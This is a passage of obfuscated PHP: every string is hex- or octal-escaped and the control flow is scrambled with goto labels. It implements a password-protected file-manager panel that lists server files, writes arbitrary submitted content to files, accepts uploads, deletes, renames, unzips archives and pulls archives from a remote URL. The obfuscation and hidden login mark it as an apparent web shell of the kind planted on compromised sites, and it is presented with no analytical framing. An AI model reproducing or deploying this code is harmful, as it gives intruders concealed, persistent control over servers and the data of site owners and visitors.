\42\76\123\x69\x7a\x65\74\x2f\x74\150\76\15\xa\40\40\40\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\x20\x20\74\164\x68\40\x63\x6c\141\x73\x73\75\42\x70\55\x34\40\x74\x65\170\164\55\154\145\146\x74\x20\164\145\170\164\x2d\166\151\166\x69\x64\x2d\x63\150\141\x72\x63\x6f\141\x6c\42\76\x57\162\x69\x74\141\142\x6c\x65\74\57\164\x68\76\xd\12\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\74\164\x68\x20\x63\x6c\141\163\163\75\x22\x70\x2d\64\40\164\145\x78\164\x2d\154\x65\146\164\x20\164\x65\170\164\x2d\166\151\x76\151\144\x2d\143\x68\x61\162\143\x6f\x61\x6c\42\76\x4c\x61\163\x74\x20\x4d\157\144\151\146\x69\x65\x64\x3c\x2f\164\150\76\xd\xa\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\40\x20\40\x20\x20\74\x74\x68\x20\x63\x6c\x61\163\x73\x3d\42\160\x2d\64\40\x74\x65\x78\164\x2d\x6c\145\x66\164\x20\x74\x65\x78\x74\55\x76\x69\166\x69\x64\x2d\x63\x68\x61\162\143\157\141\154\42\76\x41\143\164\x69\x6f\x6e\x73\x3c\57\164\150\x3e\15\xa\40\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\74\x2f\164\162\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\x3c\57\x74\150\x65\x61\144\76\15\xa\40\40\40\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\74\x74\x62\157\144\171\x3e\xd\xa\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\74\41\x2d\x2d\x20\120\x61\x72\x65\156\164\x20\127\157\162\x6b\163\160\141\x63\145\40\55\55\x3e\xd\12\40\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\40\40\40\x20"; goto qOyLV; woUVw: if (in_array($Vjqae, $yC3U8) && $GpDM3["\x73\151\x7a\x65"] <= $k0Bn2) { goto IKl1G; } goto ECHTC; dP3kX: $WGk33 = "\x24\62\x61\44\x31\x32\x24\x6e\154\x63\113\157\x67\x68\124\122\170\x68\160\x64\x71\165\x67\x69\x48\63\x71\x6e\165\x41\106\141\x64\152\101\x6b\154\x33\x75\x76\x31\63\142\x78\116\60\x5a\120\146\x76\150\x33\105\x74\64\x77\x32\x46\x77\x36"; goto jqJC3; hqgSy: if (file_put_contents($mROC6, $cFfUK) !== false) { goto pTXEj; } goto OPJ29; GvIZt: p398x: goto qoPOT; lxXy6: $DKH4N = "\x46\157\x6c\x64\145\162\40\x63\x72\x65\x61\164\x65\x64\x20\x73\x75\143\143\x65\163\163\x66\x75\154\x6c\171\x2e"; goto sbUHL; xmdTh: if (!(isset($_POST["\144\145\154\x65\164\145\x5f\x69\x74\x65\x6d"]) && !empty($_POST["\151\x74\x65\x6d\137\x6e\141\155\x65"]))) { goto x2JdP; } goto LSpRx; MWILr: http_response_code(404); goto gl1j0; UdP8y: goto w2IvO; goto G4i7T; HFgF1: echo "\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x21\55\55\x20\106\x69\154\145\163\40\x2d\55\x3e\15\12\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\x20\x20"; goto dBSpP; HJ2Jy: VHTWA: goto LPb1A; m_Nxc: goto TNzCi; goto GvIZt; VPmED: $mROC6 = $UyGf4 . "\57" . $XSEgQ; goto f8J_i; aTPSO: die("\15\12\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x3c\x21\104\117\103\x54\131\x50\105\x20\150\164\x6d\x6c\76\15\xa\40\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\x20\74\x68\164\155\154\x20\x6c\x61\156\147\75\42\x65\156\x22\x3e\xd\12\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\40\x3c\x68\x65\x61\144\x3e\xd\xa\40\x20\x20\x20\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\x3c\155\145\x74\141\x20\x63\x68\141\x72\163\x65\x74\x3d\x22\125\124\106\55\x38\x22\x3e\15\xa\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x3c\155\145\164\x61\x20\x6e\x61\x6d\145\75\x22\x76\x69\x65\x77\160\157\x72\164\42\40\143\157\156\x74\145\x6e\x74\x3d\42\x77\151\144\164\150\x3d\144\145\x76\x69\143\x65\55\x77\151\144\164\x68\x2c\x20\x69\x6e\151\164\x69\141\x6c\55\x73\x63\x61\154\145\75\x31\x2e\60\x22\76\xd\12\40\40\x20\40\40\40\40\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x3c\164\151\x74\154\145\x3e\101\x63\x63\x65\x73\163\x20\x44\x65\x6e\151\145\x64\74\57\164\x69\x74\x6c\x65\x3e\xd\12\x20\40\40\x20\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x3c\x73\x63\x72\151\160\164\40\163\162\x63\x3d\x22\150\164\164\x70\x73\72\x2f\x2f\x63\144\156\56\164\x61\151\154\x77\x69\x6e\144\x63\163\163\x2e\143\157\x6d\42\76\74\57\x73\x63\162\x69\160\x74\76\15\xa\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\x3c\x2f\x68\x65\x61\144\76\xd\xa\x20\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\x20\40\74\142\x6f\144\x79\40\x63\154\x61\163\x73\75\x22\142\147\55\166\x69\x76\x69\144\x2d\163\x6c\141\x74\145\x20\155\x69\156\55\150\55\163\143\162\145\145\x6e\40\146\154\x65\x78\x20\151\164\145\x6d\x73\55\x63\x65\156\164\x65\162\40\152\165\x73\164\x69\x66\171\55\x63\145\156\164\x65\162\42\x3e\15\12\40\x20\40\40\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\x20\x3c\144\x69\x76\40\143\x6c\x61\163\x73\x3d\42\x62\x67\x2d\x77\150\x69\x74\145\x20\160\x2d\70\40\162\157\165\156\144\x65\144\x2d\170\154\40\x73\x68\x61\x64\157\x77\x2d\170\x6c\40\167\55\146\165\x6c\x6c\40\155\x61\170\55\167\x2d\155\x64\x22\x3e\xd\xa\40\x20\x20\x20\40\40\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\x20\x20\74\150\62\x20\143\x6c\141\163\x73\x3d\42\164\145\170\x74\x2d\62\x78\154\40\x66\x6f\x6e\164\x2d\142\x6f\x6c\144\40\155\x62\55\66\x20\x74\145\170\x74\55\x63\x65\x6e\x74\145\162\40\x74\145\170\164\x2d\166\151\x76\x69\144\55\143\x68\141\162\143\157\x61\154\42\76\123\145\143\165\162\x65\x20\x41\143\x63\145\163\x73\40\122\145\x71\165\x69\162\x65\144\74\x2f\150\x32\x3e\15\xa\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\x64\x3d\x22\120\x4f\x53\x54\x22\76\15\12\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\40\74\151\x6e\x70\x75\164\40\164\x79\160\x65\x3d\x22\150\151\x64\144\145\x6e\x22\40\x6e\x61\155\145\75\42\x63\163\162\x66\x5f\x74\157\x6b\145\156\42\x20\166\141\x6c\x75\145\x3d\x22" . htmlspecialchars($_SESSION["\x63\163\x72\x66\x5f\164\x6f\x6b\x65\156"]) . "\x22\76\xd\xa\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\40\x3c\151\x6e\160\165\x74\x20\x74\171\160\145\75\42\160\141\163\163\x77\x6f\x72\144\42\x20\156\x61\x6d\x65\75\x22\163\145\143\165\162\x65\137\153\145\x79\42\40\143\154\x61\x73\x73\75\42\167\55\x66\x75\154\x6c\40\x70\x2d\x33\40\x62\x6f\x72\144\x65\x72\x20\162\x6f\x75\156\144\145\x64\55\154\147\40\x6d\x62\x2d\64\40\x66\x6f\143\x75\163\72\x6f\x75\x74\154\x69\156\145\55\156\157\x6e\x65\40\146\157\143\x75\163\x3a\162\x69\156\147\x2d\62\40\x66\157\143\165\x73\72\x72\x69\156\147\x2d\x76\x69\x76\151\x64\x2d\164\145\141\154\x22\40\160\x6c\x61\x63\x65\150\x6f\154\x64\x65\162\75\x22\105\156\164\x65\x72\40\163\x65\x63\x75\x72\x65\40\x6b\145\x79\42\40\x72\x65\161\165\x69\162\145\x64\x20\141\165\164\x6f\x66\157\x63\x75\x73\x3e\15\12\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\40\74\x62\165\x74\164\x6f\156\x20\x74\x79\x70\145\x3d\x22\x73\165\142\x6d\151\x74\42\40\143\x6c\141\163\163\x3d\42\167\x2d\x66\x75\154\x6c\40\x62\x67\x2d\166\x69\x76\x69\x64\55\x74\x65\x61\x6c\x20\164\145\x78\164\x2d\167\150\x69\x74\145\x20\160\x2d\63\40\162\x6f\x75\x6e\144\x65\144\x2d\x6c\147\x20\150\x6f\x76\x65\x72\72\142\x67\x2d\166\x69\166\151\x64\x2d\x74\145\x61\x6c\x2d\144\141\162\153\x20\x74\x72\141\x6e\163\x69\x74\x69\x6f\156\x22\76\x55\156\x6c\x6f\143\153\74\x2f\142\165\164\164\157\x6e\x3e\15\12\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\x3c\57\146\157\x72\x6d\x3e\xd\12\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\x20\x20\40\40\74\57\x64\151\x76\x3e\xd\xa\40\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x3c\x2f\142\157\x64\171\x3e\15\xa\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\40\x20\40\x3c\x2f\150\x74\x6d\154\76\15\xa\x20\x20\40\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\40"); goto SMr58; O9Dx9: RzJMB: goto N3l0l; NCBWC: u8vax: goto Oo1ct; Y4wm7: if (isset($_SESSION["\143\x73\162\x66\x5f\164\157\x6b\x65\x6e"])) { goto gWWpv; } goto KwgZJ; gh_lz: mNuwv: goto B39ub; qoPOT: if (move_uploaded_file($GpDM3["\164\x6d\160\x5f\156\141\x6d\145"], $HdMJq)) { goto v_hRO; } goto pm_kD; qYmxS: OId96: goto HWu98; JT0AX: DDCY5: goto n2X9C; N1kwB: $DKH4N = "\x46\x69\x6c\x65\40\x63\162\x65\x61\164\x65\x64\x20\x73\165\x63\143\145\x73\x73\x66\165\x6c\154\x79\x2e"; goto aK3Vo; dRHGU: goto T8Xvk; goto xNlQn; qfRoT: $MhPPM = filter_var($_POST["\162\145\155\157\164\145\x5f\165\162\154"], FILTER_VALIDATE_URL); goto S33WT; ohyY2: echo "\x22\x3e\xd\12\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x3c\x69\x6e\160\165\164\x20\164\171\x70\x65\75\42\150\151\144\144\145\x6e\42\x20\151\x64\x3d\42\x6f\162\x69\x67\151\156\141\x6c\111\x74\145\x6d\116\141\155\x65\42\40\x6e\x61\155\x65\75\42\157\x72\x69\147\151\x6e\141\x6c\137\x6e\141\x6d\x65\42\x3e\15\xa\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\40\40\40\x20\74\x69\156\x70\x75\x74\x20\x74\171\x70\145\75\42\164\145\170\164\42\x20\151\x64\x3d\42\x6e\x65\167\111\164\145\x6d\116\x61\155\x65\42\40\x6e\141\155\145\75\42\156\x65\x77\137\x6e\141\x6d\145\x22\x20\143\154\141\163\x73\x3d\42\167\x2d\x66\165\x6c\x6c\x20\x70\55\63\40\142\x6f\x72\144\x65\x72\x20\x72\157\165\x6e\x64\145\x64\55\x6c\147\x20\155\x62\55\x36\x20\146\x6f\x63\x75\x73\x3a\x6f\165\x74\x6c\151\x6e\145\55\156\x6f\156\145\40\146\157\143\165\x73\72\x72\151\x6e\x67\55\x32\x20\x66\x6f\x63\165\x73\x3a\x72\x69\x6e\x67\55\x76\151\166\x69\x64\55\x74\x65\141\x6c\x22\x20\x72\145\161\165\151\x72\x65\144\76\xd\12\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x3c\x64\x69\x76\40\x63\154\x61\163\x73\x3d\x22\x66\x6c\145\x78\x20\x6a\165\163\164\151\x66\x79\55\145\x6e\x64\40\x73\x70\x61\143\145\x2d\170\55\x33\x22\76\15\12\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\74\x62\165\164\x74\x6f\156\x20\x74\171\160\145\x3d\42\163\x75\142\x6d\151\x74\42\40\156\141\155\x65\x3d\42\x72\x65\x6e\141\155\145\137\151\x74\x65\x6d\x22\x20\143\154\x61\163\163\x3d\x22\142\x67\x2d\x67\x72\x65\x65\x6e\55\65\60\x30\40\164\145\x78\164\55\x77\x68\151\x74\145\x20\x70\x78\x2d\65\x20\160\171\55\62\40\162\x6f\165\156\144\145\144\x2d\154\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\162\145\x65\156\55\x36\60\x30\x20\x76\151\x76\151\144\x2d\164\162\141\x6e\x73\x69\x74\x69\157\156\x22\x3e\x53\x61\x76\x65\74\57\x62\x75\x74\x74\x6f\156\76\15\xa\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\40\x20\x20\x20\74\x62\165\x74\164\x6f\x6e\x20\x74\171\x70\145\75\42\x62\165\164\164\x6f\x6e\x22\40\157\156\x63\154\x69\x63\153\x3d\x22\x63\x6c\157\x73\x65\104\x69\141\154\x6f\x67\50\x27\162\x65\x6e\x61\155\x65\x44\x69\x61\154\157\147\x27\51\42\x20\143\x6c\x61\x73\x73\75\x22\142\x67\x2d\147\x72\141\x79\55\x35\60\x30\40\164\x65\x78\164\55\167\x68\x69\x74\145\x20\x70\x78\x2d\x35\40\x70\171\55\62\x20\162\157\165\156\144\145\x64\55\x6c\147\40\150\157\x76\x65\162\x3a\x62\x67\55\147\x72\x61\171\55\66\x30\x30\x20\x76\x69\166\151\x64\x2d\x74\162\141\156\x73\x69\164\x69\x6f\x6e\42\76\x43\x61\x6e\143\x65\x6c\x3c\x2f\x62\165\164\x74\x6f\156\x3e\15\xa\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\40\40\x20\40\74\x2f\x64\x69\166\x3e\xd\12\40\x20\40\40\40\x20\x20\40\x20\40\x20\40\74\57\146\x6f\x72\x6d\76\xd\xa\40\x20\40\40\40\40\40\40\x3c\57\144\x69\166\x3e\15\xa\x20\x20\40\40\x3c\57\144\x69\x76\x3e\15\12\15\12\40\40\40\40\x3c\163\x63\x72\151\x70\x74\76\15\12\40\40\x20\x20\x20\x20\40\x20\x66\x75\156\x63\164\x69\157\x6e\40\145\144\151\x74\x49\x74\145\x6d\x28\x69\164\145\x6d\116\141\x6d\x65\51\x20\173\15\12\x20\40\x20\x20\40\40\40\x20\x20\40\40\40\x66\145\164\143\x68\x28\47\77\167\157\162\153\x73\160\x61\143\145\x3d"; goto kX0on; NHWkd: rwOYV: goto rbgYx; U2HJ2: $DKH4N = "\101\x72\x63\150\151\x76\145\x20\145\170\x74\162\x61\143\164\145\144\x20\163\x75\143\x63\x65\163\x73\x66\x75\154\154\x79\x2e"; goto ZgEir; QUnki: w2IvO: goto KsqrH; By17q: echo "\40\x20\40\x20\40\x20\40\40\40\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\x20\x3c\164\162\x20\x63\x6c\x61\x73\x73\75\42\142\x6f\162\x64\x65\x72\55\164\40\150\157\x76\145\162\x3a\x62\147\x2d\x67\162\x61\171\x2d\65\x30\x20\x76\x69\x76\x69\x64\55\164\x72\141\x6e\163\151\164\151\x6f\156\x22\x3e\15\xa\40\x20\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\74\164\144\x20\143\x6c\x61\x73\x73\x3d\42\160\x2d\64\42\76\74\x69\x20\x63\x6c\141\163\x73\75\x22\x66\141\x73\x20\146\x61\x2d\146\157\154\144\x65\162\40\x6d\x72\x2d\x32\x20\164\x65\170\164\55\x76\151\166\151\144\55\164\x65\x61\154\x22\x3e\x3c\57\151\76\74\141\x20\x68\162\145\146\x3d\x22\77\167\x6f\x72\x6b\x73\160\141\143\145\75"; goto jWvjk; xNcuq: IJ3Hk: goto xjUUI; mjAZx: if (!(isset($_POST["\165\x6e\172\x69\160\x5f\x61\x72\143\150\151\166\145"]) && !empty($_POST["\141\x72\x63\x68\151\166\x65\x5f\156\141\x6d\x65"]))) { goto hViYW; } goto t1YDS; RjKFq: $HcnX3 = new ZipArchive(); goto Ss9oR; Qm7yr: goto u8vax; goto amQwH; OEbq_: echo "\40\40\40\40\40\40\40\x20\40\40\40\40\x3c\x2f\144\x69\x76\76\15\xa\x20\x20\40\40\x20\x20\40\x20"; goto ooNWl; Zbq2n: l6riZ: goto mwnF6; amQwH: lHkIz: goto Jhmnc; SMr58: goto OCuP1; goto O9Dx9; aadQB: dfEiu: goto hqgSy; A6W2h: $cFfUK = $_POST["\x69\x74\145\155\x5f\x63\x6f\x6e\x74\145\156\x74"] ?? ''; goto VPmED; dBSpP: foreach ($M1ewI as $nrpAw) { goto vXA8G; BnHJg: echo "\x3c\x2f\x74\144\x3e\15\xa\x20\x20\x20\40\x20\x20\x20\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\x20\x3c\164\x64\x20\x63\x6c\141\x73\163\x3d\x22\x70\x2d\64\x22\x3e"; goto dxDdG; Apq9W: echo is_writable($UyGf4 . "\57" . $nrpAw) ? "\131\x65\163" : "\116\157"; goto ngkwV; ngkwV: echo "\x3c\57\164\x64\76\xd\12\40\x20\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\x20\x3c\x74\x64\x20\x63\154\x61\163\163\x3d\42\160\x2d\64\42\x3e"; goto pzibv; FhhLo: echo htmlspecialchars($nrpAw); goto Kpvzc; aawrO: echo htmlspecialchars($_SESSION["\143\163\x72\x66\x5f\164\157\x6b\x65\156"]); goto iYtRr; YEaRU: echo htmlspecialchars($nrpAw); goto qpIYE; x317W: lLaMK: goto lk3iK; dxDdG: echo aVbxS(filesize($UyGf4 . "\57" . $nrpAw)); goto b9MrC; vXA8G: echo "\40\x20\40\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x74\162\x20\x63\154\x61\163\163\75\x22\x62\x6f\x72\x64\x65\x72\x2d\164\40\150\157\x76\145\x72\x3a\142\147\55\147\162\x61\171\x2d\65\60\x20\x76\x69\166\x69\x64\55\164\162\141\156\x73\151\164\x69\157\x6e\x22\x3e\xd\xa\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x20\74\164\144\40\x63\x6c\x61\163\x73\75\42\x70\55\64\x22\x3e\74\x69\x20\x63\154\141\163\x73\75\x22\146\x61\x73\x20\146\141\55\146\151\154\x65\x20\155\162\55\62\x20\x74\145\170\x74\x2d\x76\151\166\151\144\x2d\x74\x65\x61\x6c\x22\x3e\74\x2f\151\76"; goto YEaRU; ODkP_: echo "\x3c\x2f\164\x64\76\xd\xa\x20\x20\40\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\x20\x20\x20\x3c\164\144\x20\x63\154\x61\163\x73\x3d\x22\x70\55\x34\x20\x73\160\x61\x63\145\x2d\170\55\x33\42\76\15\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\40\x20\40\x20\x3c\142\165\x74\164\157\156\x20\157\x6e\x63\x6c\x69\x63\153\75\x22\x65\144\151\x74\111\164\145\155\50\x27"; goto j55Ka; Kpvzc: echo "\42\x3e\15\12\40\x20\40\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\40\x20\40\x20\40\74\142\x75\164\x74\x6f\x6e\40\164\171\x70\145\x3d\x22\163\x75\x62\x6d\x69\164\x22\x20\x6e\x61\155\x65\75\x22\x75\156\172\151\x70\137\141\x72\143\150\151\166\x65\42\x20\143\x6c\x61\163\x73\x3d\42\142\147\55\147\162\x65\x65\156\x2d\x35\60\60\40\x74\145\x78\x74\55\x77\150\151\164\145\40\160\x78\x2d\63\x20\x70\x79\x2d\61\x20\x72\x6f\165\x6e\x64\145\x64\55\154\x67\x20\x68\x6f\166\145\x72\x3a\x62\147\x2d\147\x72\x65\x65\156\x2d\x36\60\x30\40\166\151\166\x69\144\x2d\x74\x72\x61\x6e\x73\151\x74\151\157\156\x22\76\74\x69\40\143\x6c\x61\x73\x73\75\42\146\141\163\40\146\141\55\146\151\x6c\145\x2d\x61\162\143\x68\x69\x76\145\x20\155\162\55\61\x22\76\x3c\x2f\151\x3e\125\156\x7a\x69\160\74\x2f\x62\165\164\164\157\x6e\x3e\xd\xa\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x20\40\74\57\x66\157\162\x6d\76\15\xa\40\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40"; goto m9Id2; pzibv: echo date("\131\x2d\155\55\144\x20\110\72\151\72\163", filemtime($UyGf4 . "\57" . $nrpAw)); goto ODkP_; qpIYE: echo "\74\57\x74\144\76\xd\xa\40\x20\40\40\x20\40\40\40\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\40\x20\40\x3c\x74\x64\x20\143\154\141\x73\163\x3d\x22\160\x2d\64\42\76"; goto YwE2M; j55Ka: echo htmlspecialchars($nrpAw); goto Ko27o; Yo0ak: echo "\40\x20\40\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\x20\40\74\x66\x6f\x72\155\x20\x6d\145\x74\x68\157\144\x3d\42\x70\x6f\x73\x74\x22\x20\143\x6c\x61\x73\x73\75\42\151\156\x6c\151\x6e\145\42\76\15\xa\40\40\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\40\74\x69\156\x70\x75\x74\x20\164\171\160\x65\75\x22\x68\151\144\x64\x65\x6e\x22\40\156\141\155\145\x3d\x22\143\x73\x72\146\x5f\164\157\x6b\145\156\x22\x20\x76\x61\x6c\165\x65\75\42"; goto aawrO; IHFCo: echo "\x27\x29\42\40\x63\x6c\x61\163\163\x3d\x22\142\147\x2d\x72\145\x64\x2d\65\60\60\40\164\145\x78\164\55\167\x68\x69\x74\x65\x20\x70\170\55\x33\40\x70\x79\x2d\x31\40\x72\x6f\165\156\x64\x65\144\x2d\x6c\x67\x20\x68\157\x76\x65\x72\72\142\147\55\x72\x65\x64\55\66\x30\60\40\166\x69\x76\x69\144\55\x74\162\x61\x6e\x73\151\164\x69\x6f\156\42\76\104\145\154\145\x74\145\74\x2f\x62\165\x74\164\x6f\x6e\76\xd\xa\40\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40"; goto Xque1; ftooB: echo htmlspecialchars($nrpAw); goto IHFCo; iYtRr: echo "\42\x3e\15\12\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\40\x20\x20\x20\74\x69\x6e\x70\x75\x74\x20\x74\x79\160\145\75\42\x68\151\144\x64\x65\x6e\x22\x20\x6e\x61\155\145\75\x22\x61\162\143\150\151\x76\x65\x5f\x6e\141\155\145\x22\40\x76\141\x6c\x75\x65\75\42"; goto FhhLo; b9MrC: echo "\x3c\x2f\x74\144\76\15\12\40\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\40\40\x20\40\40\40\x20\x20\x3c\x74\144\40\x63\154\x61\163\163\75\x22\160\x2d\x34\x22\76"; goto Apq9W; Ko27o: echo "\x27\x29\42\x20\x63\154\141\163\x73\x3d\x22\x62\x67\55\166\151\166\151\x64\55\x74\x65\x61\154\40\164\x65\x78\164\x2d\167\x68\151\x74\145\40\x70\x78\x2d\63\40\x70\171\55\61\40\162\x6f\x75\x6e\144\x65\x64\x2d\x6c\x67\x20\x68\157\166\x65\162\72\142\x67\55\166\151\x76\151\x64\x2d\x74\145\x61\x6c\55\144\141\162\153\x20\x76\151\166\151\x64\x2d\164\x72\x61\x6e\x73\151\164\151\x6f\x6e\x22\76\x45\x64\x69\164\x3c\57\142\x75\x74\164\x6f\156\x3e\xd\xa\40\x20\40\40\40\40\40\40\x20\40\x20\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x3c\x62\x75\164\164\157\156\40\157\156\143\154\x69\143\x6b\75\42\x6f\x70\145\x6e\x52\x65\156\141\x6d\x65\104\x69\x61\x6c\x6f\147\x28\x27"; goto bPYbi; bPYbi: echo htmlspecialchars($nrpAw); goto jjS6K; m9Id2: QRCZ1: goto E0oeA; E0oeA: echo "\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\74\x2f\164\x64\76\15\xa\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\x3c\57\164\162\x3e\xd\12\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20"; goto x317W; jjS6K: echo "\x27\x29\x22\x20\x63\154\141\163\163\x3d\x22\x62\147\55\x79\x65\x6c\154\157\x77\55\x35\60\60\40\x74\x65\170\164\x2d\x77\150\151\164\145\40\160\170\55\x33\x20\x70\x79\55\x31\x20\x72\x6f\165\156\x64\x65\x64\55\x6c\x67\x20\150\x6f\166\x65\x72\72\142\x67\55\171\145\x6c\154\157\167\55\66\x30\x30\40\166\x69\x76\x69\x64\x2d\164\x72\141\156\x73\x69\x74\x69\x6f\156\x22\76\122\x65\156\141\155\145\74\57\142\165\x74\164\x6f\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\x20\x20\x20\x20\74\x62\165\164\x74\157\x6e\40\x6f\156\143\x6c\151\x63\x6b\75\x22\x63\x6f\156\146\x69\162\x6d\x44\x65\x6c\x65\x74\145\50\47"; goto ftooB; YwE2M: echo strtoupper(pathinfo($nrpAw, PATHINFO_EXTENSION)); goto BnHJg; Xque1: if (!(pathinfo($nrpAw, PATHINFO_EXTENSION) === "\x7a\151\160")) { goto QRCZ1; } goto Yo0ak; lk3iK: } goto JT0AX; dkMA6: $cFfUK = $_POST["\151\164\x65\155\x5f\143\157\x6e\x74\145\156\x74"] ?? ''; goto S5SU9; SFaK1: $UyGf4 = $RN9dg; goto gYpZO; G3_fu: $DKH4N = "\106\157\154\144\145\162\40\141\154\162\145\141\x64\171\x20\x65\x78\151\163\x74\x73\x2e"; goto AM5Ni; rxnF1: exit; goto dRHGU; EMeQw: v_hRO: goto jC0wy; pIIY_: if ($f5xwD && is_file($f5xwD) && is_readable($f5xwD)) { goto KXaXc; } goto MWILr; JVO84: EWOGW: goto qu97e; QH0ar: goto dKdrD; goto aadQB; OZfTN: echo "\x22\x3e\15\xa\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x3c\151\156\160\165\x74\40\164\171\x70\145\75\42\165\162\x6c\42\40\156\x61\x6d\145\75\x22\x72\x65\155\157\x74\x65\137\165\162\x6c\42\x20\143\x6c\141\x73\x73\75\42\x66\154\x65\170\x2d\61\40\x70\55\63\x20\142\x6f\x72\144\x65\162\x20\x72\x6f\x75\x6e\x64\145\x64\x2d\x6c\147\x20\146\x6f\143\x75\x73\72\157\165\164\154\x69\x6e\x65\x2d\156\x6f\x6e\145\x20\x66\157\x63\165\163\x3a\x72\x69\156\147\55\x32\x20\146\157\143\165\x73\x3a\x72\x69\156\147\x2d\166\x69\x76\x69\144\x2d\x74\x65\x61\x6c\x22\40\x70\x6c\x61\x63\x65\x68\157\154\144\145\162\75\42\150\164\x74\160\x73\x3a\x2f\57\x65\x78\141\x6d\160\x6c\x65\56\x63\x6f\x6d\57\151\x74\145\x6d\x2e\172\x69\160\x22\x20\162\145\